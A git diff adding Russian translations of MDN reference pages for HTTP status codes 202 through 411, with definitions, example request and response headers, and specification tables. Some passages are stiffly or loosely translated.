Код состояния ответа "The HTTP 202 Accepted" указывает, что запрос получен, но еще не обработан. Это не является обязательным, что означает, что в HTTP невозможно передать более поздний асинхронный ответ, указывающий на результат обработки запроса. Он предназначен для случаев, когда другой процесс или сервер обрабатывает запрос или для пакетной обработки.

+ +

Статус

+ +
202 Accepted
+ +

Характеристики 

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "202 Accepted" , "6.3.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/203/index.html b/files/ru/web/http/status/203/index.html new file mode 100644 index 0000000000..aabd4310ac --- /dev/null +++ b/files/ru/web/http/status/203/index.html @@ -0,0 +1,37 @@ +--- +title: 203 Non-Authoritative Information +slug: Web/HTTP/Status/203 +translation_of: Web/HTTP/Status/203 +--- +
{{HTTPSidebar}}
+ +

"The HTTP 203 Non-Authoritative Information" Статус ответа указывает, что запрос был успешным, но прилагаемая полезная нагрузка была изменена с учетом ответа сервера{{HTTPStatus("200")}} (OK) сервера происхождения с помощью преобразующего {{Glossary("Proxy server", "proxy")}}.

+ +

"The 203" ответ  аналогичен значению 214, значение "Transformation Applied", кода  {{HTTPHeader("Warning")}} имеет дополнительное преимущество, применимое к ответам с любым кодом состояния.

+ +

Статус

+ +
203 Non-Authoritative Information
+ +

Характеристики

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "203 Non-Authoritative Information" , "6.3.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/204/index.html b/files/ru/web/http/status/204/index.html new file mode 100644 index 0000000000..c874bd3e14 --- /dev/null +++ b/files/ru/web/http/status/204/index.html @@ -0,0 +1,49 @@ +--- +title: 204 No Content +slug: Web/HTTP/Status/204 +translation_of: Web/HTTP/Status/204 +--- +
{{HTTPSidebar}}
+ +

"The HTTP 204 No Content" код ответа статуса успеха указывает, что запрос имеет успех, но что клиенту не нужно уходить со своей текущей страницы. По умолчанию ответ 204  кэшируется. В такой ответ включен  {{HTTPHeader("ETag")}}.

+ +

Общим вариантом использования является возвращение 204 в результате запроса {{HTTPMethod("PUT")}}, обновления ресурса, без изменения текущего содержимого страницы, отображаемой пользователю. Если ресурс создан, вместо него возвращается {{HTTPStatus("201")}} Created. Если страница должна быть изменена на вновь обновленную страницу, вместо нее следует использовать {{HTTPStatus("200")}}.

+ +

Статус

+ +
204 No Content
+ +

Характеристики

+ + + + + + + + + + + + +
СпецификацииНазвание
{{RFC("7231", "204 No Content" , "6.3.5")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузером

+ + + +

{{Compat("http/status", "204")}}

+ +

Примечания совместимости

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/http/status/205/index.html b/files/ru/web/http/status/205/index.html new file mode 100644 index 0000000000..60ec11ef5c --- /dev/null +++ b/files/ru/web/http/status/205/index.html @@ -0,0 +1,35 @@ +--- +title: 205 Reset Content +slug: Web/HTTP/Status/205 +translation_of: Web/HTTP/Status/205 +--- +
{{HTTPSidebar}}
+ +

Статус ответа "HTTP 205 Reset Content"сообщает клиенту об изменении вида документа, например, для очистки содержимого формы, сброса состояния холста или обновления пользовательского интерфейса.

+ +

Статус

+ +
205 Reset Content
+ +

Спецификации

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "205 Reset Content" , "6.3.6")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Смотрите также

+ +

 

+ + diff --git a/files/ru/web/http/status/206/index.html b/files/ru/web/http/status/206/index.html new file mode 100644 index 0000000000..d34fac6443 --- /dev/null +++ b/files/ru/web/http/status/206/index.html @@ -0,0 +1,83 @@ +--- +title: 206 Partial Content +slug: Web/HTTP/Status/206 +translation_of: Web/HTTP/Status/206 +--- +
+

{{HTTPSidebar}}

+ +

"The HTTP 206 Partial Content"код ответа на статус успешного  указывает, что запрос преуспел, и тело содержит запрошенные диапазоны данных, как описано в  {{HTTPHeader("Range")}} запроса

+ +

Если существует только один диапазон, {{HTTPHeader("Content-Type")}} всего ответа задается типом документа, а также {{HTTPHeader("Content-Range")}}

+ +

Если несколько диапазонов отправлены обратно, {{HTTPHeader("Content-Type")}} задано значение multipart/byteranges, и каждый фрагмент охватывает один диапазон, {{HTTPHeader("Content-Range")}} и {{HTTPHeader("Content-Type")}}, описывающий его.

+
+ +

Статус

+ +
206 Partial Content
+ +

Примеры

+ +

Ответ, содержащий один диапазон:

+ +
HTTP/1.1 206 Partial Content
+Date: Wed, 15 Nov 2015 06:25:24 GMT
+Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
+Content-Range: bytes 21010-47021/47022
+Content-Length: 26012
+Content-Type: image/gif
+
+... 26012 bytes of partial image data ...
+ +

Ответ, содержащий несколько диапазонов:

+ +
HTTP/1.1 206 Partial Content
+Date: Wed, 15 Nov 2015 06:25:24 GMT
+Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
+Content-Length: 1741
+Content-Type: multipart/byteranges; boundary=String_separator
+
+--String_separator
+Content-Type: application/pdf
+Content-Range: bytes 234-639/8000
+
+...the first range...
+--String_separator
+Content-Type: application/pdf
+Content-Range: bytes 4590-7999/8000
+
+...the second range
+--String_separator--
+ +

Характеристики

+ +

 

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7233", "206 Partial Content" , "4.1")}}Hypertext Transfer Protocol (HTTP/1.1): Range Requests
+ +

Совместимость с браузером

+ + + +

{{Compat("http/status", "206")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/300/index.html b/files/ru/web/http/status/300/index.html new file mode 100644 index 0000000000..557a1f0f9a --- /dev/null +++ b/files/ru/web/http/status/300/index.html @@ -0,0 +1,41 @@ +--- +title: 300 Multiple Choices +slug: Web/HTTP/Status/300 +translation_of: Web/HTTP/Status/300 +--- +
{{HTTPSidebar}}
+ +

Код ответа на перенаправление "The HTTP 300 Multiple Choices" указывает, что запрос имеет несколько возможных ответов. Пользователь-агент или пользователь должны выбрать один из них. Поскольку стандартного способа выбора одного из ответов нет, этот код ответа очень редко используется.

+ +

Если сервер имеет предпочтительный выбор, он должен создать  {{HTTPHeader("Location")}}.

+ +

Статус

+ +
300 Multiple Choices
+ +

Примеры

+ +

См. это: w3.org page for a Multiple Choice response.

+ +

Характеристики

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "300 Multiple Choices" , "6.4.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/301/index.html b/files/ru/web/http/status/301/index.html new file mode 100644 index 0000000000..8456c79e66 --- /dev/null +++ b/files/ru/web/http/status/301/index.html @@ -0,0 +1,58 @@ +--- +title: 301 Moved Permanently +slug: Web/HTTP/Status/301 +tags: + - HTTP + - Код ответа + - Перенаправление +translation_of: Web/HTTP/Status/301 +--- +
{{HTTPSidebar}}
+ +

Код перенаправления "301 Moved Permanently" протокола передачи гипертекста (HTTP) показывает, что запрошенный ресурс был окончательно перемещен в URL, указанный в заголовке {{HTTPHeader("Location")}}. Браузер в случае такого ответа перенаправляется на эту страницу, а поисковые системы обновляют свои ссылки на ресурс (говоря языком SEO, вес страницы переносится на новый URL-адрес).

+ +

Даже если спецификация требует, чтобы при выполнении перенаправления, метод и тело запроса не изменялись, не все пользовательские приложения обращают на это внимание, и вы все еще можете столкнуться с программами имеющими этот баг. Именно поэтому код 301 рекомендуется только в качестве ответа на {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}} запрос, а для {{HTTPMethod("POST")}} рекомендуется код {{HTTPStatus("308", "308 Permanent Redirect")}}, так как он явно запрещает изменение метода запроса.

+ +

Статус

+ +
301 Moved Permanently
+ +

Пример

+ +

Запрос клиента

+ +
GET /index.php HTTP/1.1
+Host: www.example.org
+ +

Ответ сервера

+ +
HTTP/1.1 301 Moved Permanently
+Location: http://www.example.org/index.asp
+ +

Характеристики

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "301 Redirect Permanently" , "6.4.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузером

+ + + +

{{Compat("http.status.301")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/302/index.html b/files/ru/web/http/status/302/index.html new file mode 100644 index 0000000000..34c5344642 --- /dev/null +++ b/files/ru/web/http/status/302/index.html @@ -0,0 +1,61 @@ +--- +title: 302 Found +slug: Web/HTTP/Status/302 +tags: + - HTTP + - Код ответа + - Перенаправления +translation_of: Web/HTTP/Status/302 +--- +
{{HTTPSidebar}}
+ +

HTTP код перенаправления 302 Found означает, что запрошенный ресурс был временно перемещен по адресу, указанному в заголовке {{HTTPHeader("Location")}}. Получив такой ответ браузер перенаправляется на новую страницу, но поисковые системы не обновляют свои ссылки на ресурс (в жаргоне SEO говорят, что вес ссылки (link-juice) не меняется и не отправляется на новый URL-адрес).

+ +

Несмотря на требование спецификации не изменять при перенаправлении метод и тело запроса, не все программные клиенты выполняют его, и с некоторыми из них можно столкнуться до сих пор. Поэтому рекомендуется установить код 302 только как ответ для методов {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}. Для остальных случаев лучше использовать код {{HTTPStatus("307", "307 Temporary Redirect")}}, поскольку в этом случае изменение метода явно запрещено.

+ +

В тех случаях, когда вы хотите, чтобы используемый метод был изменен на {{HTTPMethod("GET")}}, используйте код {{HTTPStatus("303", "303 See Other")}}. Это полезно, если вы хотите дать ответ на метод {{HTTPMethod("PUT")}}, который не является загруженным ресурсом, но является подтверждающим сообщением (например, «Вы успешно загрузили XYZ»).

+ +

Статус

+ +
302 Found
+ +

Пример

+ +

Запрос клиента

+ +
GET / HTTP/1.1
+Host: www.example.org
+ +

Ответ сервера

+ +
HTTP/1.1 302 Found
+Location: http://www.example.org/index.asp
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "302 Found" , "6.4.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузером

+ + + +

{{Compat("http.status.302")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/303/index.html b/files/ru/web/http/status/303/index.html new file mode 100644 index 0000000000..2430ef3035 --- /dev/null +++ b/files/ru/web/http/status/303/index.html @@ -0,0 +1,57 @@ +--- +title: 303 See Other +slug: Web/HTTP/Status/303 +tags: + - HTTP + - Код ответа + - Перенаправление +translation_of: Web/HTTP/Status/303 +--- +
{{HTTPSidebar}}
+ +
+ +

HTTP код перенаправления 303 See Other обычно отправляется в результате {{HTTPMethod("PUT")}} или {{HTTPMethod("POST")}} запроса и указывает, что перенаправление производится не на новый (только что загруженный) ресурс, а на другую страницу, например, страницу подтверждения или страницу с результатами загрузки. Метод, используемый для отображения страницы, на которую производится перенаправление - всегда {{HTTPMethod("GET")}}.

+ +

Статус

+ +
303 See Other
+ +

Пример

+ +

Запрос клиента

+ +
POST /api/items/delete HTTP/1.1
+Host: www.example.org
+ +

Ответ сервера

+ +
HTTP/1.1 303 See Other
+Location: /confirmation
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "303 See Other" , "6.4.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузером

+ + + +

{{Compat("http.status.303")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/304/index.html b/files/ru/web/http/status/304/index.html new file mode 100644 index 0000000000..1917737e6c --- /dev/null +++ b/files/ru/web/http/status/304/index.html @@ -0,0 +1,46 @@ +--- +title: 304 Not Modified +slug: Web/HTTP/Status/304 +translation_of: Web/HTTP/Status/304 +--- +
{{HTTPSidebar}}
+ +

Код "HTTP 304 Not Modified" клиента указывает, что нет необходимости повторно передавать запрошенные ресурсы. Это неявное перенаправление на кэшированный ресурс. Это происходит, когда метод  {{glossary("safe")}}, например {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}} запрос или когда запрос является условным и использует {{HTTPHeader("If-None-Match")}} или {{HTTPHeader("If-Modified-Since")}}.

+ +

Если эквивалентный ответ {{HTTPStatus("200")}} OK включал {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Content-Location")}}, {{HTTPHeader("Date")}}, {{HTTPHeader("ETag")}}, {{HTTPHeader("Expires")}} и {{HTTPHeader("Vary")}}.

+ +
+

Многие  developer tools' network panels браузеров создают посторонние запросы, приводящие к 304 ответам, так что доступ к локальному кешу виден разработчикам.

+
+ +

Статус

+ +
304 Not Modified
+ +

Характеристики

+ + + + + + + + + + + + +
СпецификацииНазвание
{{RFC("7232", "304 Not Modified" , "4.1")}}Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests
+ +

Совместимость с браузером

+ + + +

{{Compat("http/status", "304")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/307/index.html b/files/ru/web/http/status/307/index.html new file mode 100644 index 0000000000..8ffa791618 --- /dev/null +++ b/files/ru/web/http/status/307/index.html @@ -0,0 +1,66 @@ +--- +title: 307 Temporary Redirect +slug: Web/HTTP/Status/307 +tags: + - HTTP + - Код ответа + - Перенаправление +translation_of: Web/HTTP/Status/307 +--- +
{{HTTPSidebar}}
+ +

{{Glossary("HTTP")}} код перенаправления  307 Temporary Redirect означает, что запрошенный ресурс был временно перемещен в URL-адрес, указанный в заголовке {{HTTPHeader("Location")}}.

+ +

Метод и тело исходного запроса повторно используются для выполнения перенаправленного запроса. Если вы хотите, чтобы используемый метод был изменен на {{HTTPMethod("GET")}}, используйте {{HTTPStatus("303", "303 See Other")}}. Это полезно, если вы хотите дать ответ на метод {{HTTPMethod("PUT")}}, который не является загруженным ресурсом, а является подтверждающим сообщением (например, «Вы успешно загрузили XYZ»).

+ +

Единственное различие между 307 и {{HTTPStatus("302")}} состоит в том, что 307 гарантирует, что метод и тело не будут изменены при выполнении перенаправленного запроса. В случае с кодом 302 некоторые старые клиенты неправильно меняли метод на {{HTTPMethod("GET")}}, из-за чего поведение запросов с методом отличным от GET и ответа с кодом 302 непредсказуемо, тогда как поведение в случае ответа с кодом 307 предсказуемо. Для запросов GET поведение идентично.

+ +

Статус

+ +
307 Temporary Redirect
+
+ +

Пример

+ +

Запрос клиента

+ +
DELETE /cars/oldest HTTP/1.1
+Host: www.example.org
+
+ +

Ответ сервера

+ +
HTTP/1.1 307 Temporary Redirect
+Location: http://www.example.org/cars/id/123456
+
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацииНазвание
{{RFC("7231", "307 Temporary Redirect" , "6.4.7")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузером

+ + + +

{{Compat("http.status.307")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/308/index.html b/files/ru/web/http/status/308/index.html new file mode 100644 index 0000000000..6416f1cf9c --- /dev/null +++ b/files/ru/web/http/status/308/index.html @@ -0,0 +1,46 @@ +--- +title: 308 Permanent Redirect +slug: Web/HTTP/Status/308 +translation_of: Web/HTTP/Status/308 +--- +
{{HTTPSidebar}}
+ +

Код ответа на статус перенаправления "HTTP 308 Permanent Redirect" указывает, что запрошенный ресурс был окончательно перемещен в URL-адрес, указанный в {{HTTPHeader("Location")}}. Браузер перенаправляется на эту страницу, а поисковые системы обновляют свои ссылки на ресурс (в SEO-speak говорится, что link-juice отправляется на новый URL-адрес).

+ +

Метод запроса и тело не будут изменены, тогда как {{HTTPStatus("301")}}  иногда может быть неправильно заменен на {{HTTPHeader("GET")}} метод.

+ +
+

Некоторые веб-приложения могут использовать 308 Permanent Redirect нестандартным образом и для других целей. Например, Google Drive использует ответ 308 Resume Incomplete, чтобы указать клиенту, когда неполная загрузка застопорилась.[1]

+
+ +

Статус

+ +
308 Permanent Redirect
+ +

Характеристики

+ + + + + + + + + + + + +
СпецификацииНазвание
{{RFC("7538", "308 Permanent Redirect" , "3")}}The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)
+ +

Совместимость с браузером

+ + + +

{{Compat("http/status", "308")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/400/index.html b/files/ru/web/http/status/400/index.html new file mode 100644 index 0000000000..14939c0e29 --- /dev/null +++ b/files/ru/web/http/status/400/index.html @@ -0,0 +1,33 @@ +--- +title: 400 Bad Request +slug: Web/HTTP/Status/400 +translation_of: Web/HTTP/Status/400 +--- +
{{HTTPSidebar}}
+ +

Код состояния ответа "HTTP 400 Bad Request" указывает, что сервер не смог понять запрос из-за недействительного синтаксиса. Клиент не должен повторять этот запрос без изменений.

+ +

Статус

+ +
400 Bad Request
+ +

Характеристики

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "400 Bad Request" , "6.5.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/401/index.html b/files/ru/web/http/status/401/index.html new file mode 100644 index 0000000000..e093e7d774 --- /dev/null +++ b/files/ru/web/http/status/401/index.html @@ -0,0 +1,54 @@ +--- +title: 401 Unauthorized +slug: Web/HTTP/Status/401 +translation_of: Web/HTTP/Status/401 +--- +
{{HTTPSidebar}}
+ +

Код ответа на статус ошибки  HTTP 401 Unauthorized клиента указывает, что запрос не был применен, поскольку ему не хватает действительных учетных данных для целевого ресурса.

+ +

Этот статус отправляется с  {{HTTPHeader("WWW-Authenticate")}}, который содержит информацию о правильности авторизации.

+ +

Этот статус похож на  {{HTTPStatus("403")}}, но в этом случае возможна аутентификация.

+ +

Статус

+ +
401 Unauthorized
+ +

Пример ответа

+ +
HTTP/1.1 401 Unauthorized
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+WWW-Authenticate: Basic realm="Access to staging site"
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7235", "401 Unauthorized" , "3.1")}}HTTP/1.1: Authentication
+ +

Совместимость с браузером

+ + + +

{{Compat("http/status", "401")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/402/index.html b/files/ru/web/http/status/402/index.html new file mode 100644 index 0000000000..e25ebef0f3 --- /dev/null +++ b/files/ru/web/http/status/402/index.html @@ -0,0 +1,49 @@ +--- +title: 402 Payment Required +slug: Web/HTTP/Status/402 +translation_of: Web/HTTP/Status/402 +--- +
{{HTTPSidebar}}{{SeeCompatTable}}
+ +

HTTP-ответ 402 Payment Required это нестандартная ошибка клиента, зарезервированная для использования в будущем.

+ +

Иногда этот код означает, что запрос не может быть выполнен до тех пор, пока клиен не совершит оплату. Изначально создан для активации цифровых сретств или (микро) платежных систем и изображает, что запрошенный контент недоступен пока клиент не совершит оплату. Так или иначе, стандартизованного использования для кода нет, и он может использоваться разными элементами в разном контексте.

+ +

Статус

+ +
402 Payment Required
+ +

Пример ответа

+ +
HTTP/1.1 402 Payment Required
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияЗаголовок
{{RFC("7231", "402 Payment Required" , "6.5.2")}}HTTP/1.1: Semantics and Content
+ +

Совместимость с браузером

+ + + +

{{Compat("http.status.402")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/403/index.html b/files/ru/web/http/status/403/index.html new file mode 100644 index 0000000000..91222d7aef --- /dev/null +++ b/files/ru/web/http/status/403/index.html @@ -0,0 +1,48 @@ +--- +title: 403 Forbidden +slug: Web/HTTP/Status/403 +translation_of: Web/HTTP/Status/403 +--- +
{{HTTPSidebar}}
+ +

Код ответа на статус ошибки "HTTP 403 Forbidden" указывает, что сервер понял запрос, но отказывается его авторизовать.

+ +

Этот статус похож на {{HTTPStatus("401")}}, но в этом случае повторная аутентификация не будет иметь никакого значения. Доступ запрещен и привязан к логике приложения (например, у пользователя не хватает прав доступа к запрашиваемому ресурсу).

+ +

Статус

+ +
403 Forbidden
+ +

Пример ответа

+ +
HTTP/1.1 403 Forbidden
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "403 Forbidden" , "6.5.3")}}HTTP/1.1: Semantics and Content
+ +

Совместимость с браузером

+ + + +

{{Compat("http/status", "403")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/404/index.html b/files/ru/web/http/status/404/index.html new file mode 100644 index 0000000000..37efe1c6ad --- /dev/null +++ b/files/ru/web/http/status/404/index.html @@ -0,0 +1,56 @@ +--- +title: 404 Not Found +slug: Web/HTTP/Status/404 +translation_of: Web/HTTP/Status/404 +--- +
{{HTTPSidebar}}
+ +

Код ответа на ошибку HTTP 404 Not Found указывает, что сервер не может найти запрошенный ресурс. Ссылки, ведущие к коду 404, часто называются сломанными или мёртвыми связями и приводят к ссылочной гнили.

+ +

Код статуса 404 не уточняет, отсутствует ли запрашиваемый ресурс временно или постоянно. Но если серверу известно, что указанный ресурс удалён навсегда, то вместо статуса 404 следует использовать {{HTTPStatus(410)}} (Gone) .

+ +

Статус

+ +
404 Not Found
+ +

Пользовательские страницы ошибок

+ +

Многие веб-сайты настраивают внешний вид страницы 404, чтобы быть более полезными для пользователя и давать рекомендации. Серверы Apache могут быть настроены с использованием файла .htaccess и фрагмента кода, например, такого, как этот.

+ +
ErrorDocument 404 /notfound.html
+ +

Вы можете взять MDN's 404 page в качестве вдохновения.

+ +
+

Примечание: дизайн на 404 страницах -  an endless source of inspiration, но имейте в виду, что в нем также существует  a set of best practices, которые делают эти страницы полезными для пользователей веб-сайтов.

+
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "404 Not Found" , "6.5.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузером

+ + + +

{{Compat("http/status", "404")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/405/index.html b/files/ru/web/http/status/405/index.html new file mode 100644 index 0000000000..afea810f1b --- /dev/null +++ b/files/ru/web/http/status/405/index.html @@ -0,0 +1,37 @@ +--- +title: 405 Method Not Allowed +slug: Web/HTTP/Status/405 +translation_of: Web/HTTP/Status/405 +--- +
{{HTTPSidebar}}
+ +

Код состояния протокола HTTP  405 Method Not Allowed, указывает, что метод запроса известен серверу, но был отключен и не может быть использован. Два обязательных метода {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}} никогда не должны быть отключены и не должны возвращать этот код ошибки.

+ +

Сервер ОБЯЗАН сгенерировать поле заголовка Allow в ответе с кодом 405, которое содержит список текущих доступных методов ресурса.

+ +

Статус

+ +
405 Method Not Allowed
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияТитул
{{RFC("7231", "405 Method Not Allowed" , "6.5.5")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/406/index.html b/files/ru/web/http/status/406/index.html new file mode 100644 index 0000000000..a06e73be59 --- /dev/null +++ b/files/ru/web/http/status/406/index.html @@ -0,0 +1,61 @@ +--- +title: 406 Not Acceptable +slug: Web/HTTP/Status/406 +tags: + - HTTP + - Код состояния HTTP +translation_of: Web/HTTP/Status/406 +--- +
{{HTTPSidebar}}
+ +

HyperText Transfer Protocol (HTTP) код ошибки клиента 406 Not Acceptable означает, что сервер не может вернуть ответ, соответствующий списку допустимых значений, определенных в заголовках упреждающего согласования контента, и что сервер не желает вернуть представление контента по-умолчанию.

+ +

Заголовки упреждающего согласования контента включают:

+ + + +

На практике эта ошибка очень редко используется. Вместо ответа с использованием этого кода ошибки, который может быть загадочным для конечного пользователя и трудным для исправления, серверы игнорируют соответствующий заголовок и предоставляют актуальную страницу для пользователя. Предполагается, что даже если пользователь не будет полностью удовлетворён, он предпочтет это коду ошибки.

+ +

Если сервер возвращает такой код ошибки, тело сообщения должно содержать список доступных представлений ресурсов, позволяя вручную выбирать между ними.

+ +

Статус

+ +
406 Not Acceptable
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "406 Not Acceptable" , "6.5.6")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузером

+ +

Информация, показываемая ниже, была получена из GitHub-репозитория MDN (https://github.com/mdn/browser-compat-data).

+ + + +

{{Compat("http/status", "406")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/407/index.html b/files/ru/web/http/status/407/index.html new file mode 100644 index 0000000000..4f66630555 --- /dev/null +++ b/files/ru/web/http/status/407/index.html @@ -0,0 +1,54 @@ +--- +title: 407 Proxy Authentication Required +slug: Web/HTTP/Status/407 +translation_of: Web/HTTP/Status/407 +--- +
+

{{HTTPSidebar}}

+ +

HTTP 407 Proxy Authentication Required код ответа на ошибку клиента указывает, что запрос не был применен, поскольку он не имеет достоверных учетных данных для {{Glossary("proxy server")}}, который находится между браузером и сервером, который может получить доступ к запрашиваемому ресурсу..

+ +

Этот статус отправляется с {{HTTPHeader("Proxy-Authenticate")}}, который содержит информацию о том, как правильно разрешить авторизацию.

+
+ +

Статус

+ +
407 Proxy Authentication Required
+ +

Пример ответа

+ +
HTTP/1.1 407 Proxy Authentication Required
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+Proxy-Authenticate: Basic realm="Access to internal site"
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7235", "407 Proxy Authentication Required" , "3.2")}}HTTP/1.1: Authentication
+ +

Совместимость с браузером

+ + + +

{{Compat("http/status", "407")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/408/index.html b/files/ru/web/http/status/408/index.html new file mode 100644 index 0000000000..9f0f0de305 --- /dev/null +++ b/files/ru/web/http/status/408/index.html @@ -0,0 +1,39 @@ +--- +title: 408 Request Timeout +slug: Web/HTTP/Status/408 +translation_of: Web/HTTP/Status/408 +--- +
{{HTTPSidebar}}
+ +

HTTP 408 Request Timeout  означает, что сервер хотел бы отключить это неиспользуемое соединение. Он отправляется на незанятое соединение некоторыми серверами, даже без какого-либо предыдущего запроса клиентом

+ +

Сервер должен отправить заголовок {{HTTPHeader("Connection")}} со значением «close» в ответ, поскольку 408 подразумевает, что сервер решил закрыть соединение, а не продолжать ждать.

+ +

Этот ответ используется гораздо больше, поскольку некоторые браузеры, такие как Chrome, Firefox 27+ или IE9, используют механизмы предварительного подключения HTTP для ускорения серфинга. Также обратите внимание, что некоторые серверы просто закрывают соединение без отправки этого сообщения.

+ +

Статус

+ +
408 Request Timeout
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияТитул
{{RFC("7231", "408 Request Timeout" , "6.5.7")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/409/index.html b/files/ru/web/http/status/409/index.html new file mode 100644 index 0000000000..8f466a326a --- /dev/null +++ b/files/ru/web/http/status/409/index.html @@ -0,0 +1,40 @@ +--- +title: 409 Conflict +slug: Web/HTTP/Status/409 +tags: + - HTTP + - HTTP Статус Код + - Ошибка клиента + - Ссылка +translation_of: Web/HTTP/Status/409 +--- +
{{HTTPSidebar}}
+ +

HTTP 409 Conflict код состояния ответа указывает на конфликт запроса с текущим состоянием сервера.

+ +

Конфликты чаще всего возникают в ответ на {{HTTPMethod("PUT")}} запрос. Например, вы можете получить ответ 409 при загрузке файла, который старше, чем тот, который уже существует на сервере, что приводит к конфликту управления версиями.

+ +

Статус

+ +
409 Conflict
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "409 Conflict" , "6.5.8")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/410/index.html b/files/ru/web/http/status/410/index.html new file mode 100644 index 0000000000..99afd4a8d8 --- /dev/null +++ b/files/ru/web/http/status/410/index.html @@ -0,0 +1,47 @@ +--- +title: 410 Gone +slug: Web/HTTP/Status/410 +translation_of: Web/HTTP/Status/410 +--- +
{{HTTPSidebar}}
+ +
+ +

Код ошибки HTTP 410 Gone указывает, что целевой ресурс больше недоступен на сервере происхождения и что это состояние, вероятно, будет постоянным.

+ +

Если вы не знаете, является это состояние временным или постоянным, вместо него следует использовать код статуса {{HTTPStatus(404)}} .

+ +
+

По умолчанию ответ 410 кэшируется

+
+ +

Статус

+ +
410 Gone
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "410 Gone" , "6.5.9")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузером

+ + + +

{{Compat("http.status.410")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/411/index.html b/files/ru/web/http/status/411/index.html new file mode 100644 index 0000000000..9c7899a650 --- /dev/null +++ b/files/ru/web/http/status/411/index.html @@ -0,0 +1,36 @@ +--- +title: 411 Length Required +slug: Web/HTTP/Status/411 +translation_of: Web/HTTP/Status/411 +--- +
{{HTTPSidebar}}
+ +

Код ответа на ошибку 411 Length Required указывает, что сервер отказывается принять запрос без определенного  {{HTTPHeader("Content-Length")}}. 

+ +

Обратите внимание, что по спецификации при отправке данных в ряд фрагментов Content-Length опущен, и в начале каждого фрагмента вам нужно добавить длину текущего фрагмента в шестнадцатеричном формате. Подробнее смотрите {{HTTPHeader("Transfer-Encoding")}}.

+ +

Статус

+ +
411 Length Required
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "411 Length Required" , "6.5.10")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Смотрите также

